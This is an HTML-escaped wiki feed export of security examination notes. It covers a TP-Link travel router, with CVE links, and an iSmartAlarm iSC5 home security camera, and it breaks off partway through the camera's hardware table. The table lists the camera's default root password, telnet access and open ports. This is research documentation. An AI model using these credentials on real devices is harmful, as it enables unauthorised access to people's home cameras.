&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Product&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/home-networking/wifi-router/tl-wr802n/ (accessed 24 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/home-networking/wifi-router/tl-wr802n/ (accessed 24 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Support&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/support/download/tl-wr802n/ (accessed 24 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/support/download/tl-wr802n/ (accessed 24 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Datasheet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://static.tp-link.com/2018/201810/20181022/TL-WR802N(EU&amp;amp;US)%204.0-datasheet.pdf (accessed 24 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Other&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Dropbear Configuration&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://openwrt.org/docs/guide-user/base-system/dropbear (accessed 28 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Vulnerability Reports&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;TL-WR840N (1)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.cvedetails.com/cve/CVE-2019-15060/&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Busybox 1.19.2 (5)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://www.cvedetails.com/version/129256/Busybox-Busybox-1.19.2.html https://www.cvedetails.com] (accessed 1 July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Linux 2.6.36 (233)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://www.cvedetails.com/vulnerability-list/vendor_id-33/product_id-47/version_id-123837/Linux-Linux-Kernel-2.6.36.html https://www.cvedetails.com] (accessed 1 July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;TP-Link (123)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://www.cvedetails.com/vulnerability-list.php?vendor_id=11936&amp;amp;product_id=0&amp;amp;version_id=0&amp;amp;page=1&amp;amp;hasexp=0&amp;amp;opdos=0&amp;amp;opec=0&amp;amp;opov=0&amp;amp;opcsrf=0&amp;amp;opgpriv=0&amp;amp;opsqli=0&amp;amp;opxss=0&amp;amp;opdirt=0&amp;amp;opmemc=0&amp;amp;ophttprs=0&amp;amp;opbyp=0&amp;amp;opfileinc=0&amp;amp;opginf=0&amp;amp;cvssscoremin=0&amp;amp;cvssscoremax=0&amp;amp;year=0&amp;amp;cweid=0&amp;amp;order=1&amp;amp;trc=123&amp;amp;sha=35781d9525571cd66feb101a1896e97c0bad1d33 https://www.cvedetails.com] (accessed 1 July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Used Hardware&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[[TP-Link TL-WR902AC: AC750 Wifi - Travel Router]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[[TP-Link TL-WR802N: 300Mbps Wireless N - Nano Router]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_iSmartAlarm_devices&amp;diff=14608</id>
		<title>Examination of iSmartAlarm devices</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_iSmartAlarm_devices&amp;diff=14608"/>
		<updated>2024-03-12T17:23:41Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The analysis of this device was discontinued due to the fact that it cannot be functionally tested. The iSmartAlarm (v2.1.6) app crashes and previous versions do not allow the device to be properly set up. From my point of view the service offered by iSmartAlarm is garbage and I can&#039;t understand any of the awards or praise they claim to hold. However, the vendor specific code (iSC5) and endpoint could be analyzed further.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;iSmart Alarm, Inc. was founded in Silicon Valley in 2012 on the principles of safety, beauty, and intelligence. They claim to be pioneers and leaders in the best smartphone-enabled home security and home control system industry, with rave reviews from CNET, Digital Trends, PC Mag, and others&amp;lt;sup&amp;gt;[https://www.ismartalarm.com/why-ismartalarm#awards_and_reviews]&amp;lt;/sup&amp;gt;. The sleek, easy-to-use system utilizes a smartphone and tablet app to put home security and home control in the palm of its users&#039; hands. &lt;br /&gt;
&lt;br /&gt;
iSmartAlarm products have won international awards including the CEA Mark of Excellence, Red Dot Product Design Award, and PC Mag&#039;s Editor&#039;s Choice Awards. The iSmartAlarm Home Security System was featured in Coldwell Banker&#039;s &amp;quot;25 Smart Home Technologies that Matter Most to Home Buyers&amp;quot; and has been named CNET&#039;s Best DIY Home Security System for 3 straight years. iSmartAlarm products are sold nationally and internationally in Best Buy, Amazon, Staples, Fry&#039;s, and many more locations.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.ismartalarm.com/info/AboutUs iSmartAlarm Profile]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;iSC5: Spot - Smart Home Security Camera&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Spot includes features and options of a smart home camera in an amazing package — Night vision, HD resolution streaming video, motion detection, audio detection, zoom, local video storage (up to 32 GB MicroSD) AND free cloud video storage, and 2-way audio.&lt;br /&gt;
&lt;br /&gt;
Spot introduces some innovative NEW features as well — Sound Recognition (with the ability to identify and notify you of carbon monoxide and smoke alarm sirens in your home), Time Lapse custom videos, and a simple voice-guided setup in less than 3 minutes. With the magnetic base plate for wall mounting and twistable, turnable, expandable legs, Spot can capture any angle.&lt;br /&gt;
&lt;br /&gt;
The compact design, amazing feature list, simple and flexible mounting options, and unique personality make Spot the perfect fit for every home&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.ismartalarm.com/spot Product]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Examination&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Summary&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; width: calc(100% - 12px);; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Collected Information&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Device Model&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;iSC5&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Manufacturer&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;iSmartAlarm&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Product Type&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Smart Home Security Camera&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Easy to use, packed with features, and affordable&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Price on Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;74,90€&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2017 Q1 (Ongoing as of October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;State of Research&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Android APK is not working&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;micro USB 2.0, Type-A USB 2.0, micro SD&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Buttons&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Setup (1s) / Factory Reset (10s)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;LED&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Power/Status&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Power&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;5V/1A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 802.11b/g/n&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Camera (720P), Night Vision, 2-Way Audio&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;FCC-ID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SENISC5&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;System&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SONiX SN98600 Development Platform&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Processor&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;ARM926EJ-S (ARMv5TEJ)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BogoMIPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;179.40&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Memory&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;RAM: 64MB&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Storage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Boot from: SPI Flash MX25L12835F&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ethernet MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;00:4D:32:09:B7:2E&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 00:4D:32:09:B7:2E&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN SSID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN PSK&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Default IPv4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;WLAN: 192.168.1.68&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hostname&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;iSmartAlarm&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;NET Protocols&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;telnet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Interfaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;wlan0&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;10002, 22306, 22345&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webpage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webaccess&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Root Password&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;1234&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other Login Pw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;default:[no password]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Firmware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;wl0: v.6.10.198.52_r33 (r1961) FWID 01-32bd010c es4.c3.n4.a2 (2015)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hardware&amp;lt;/td&amp;gt;&lt;br /&gt;
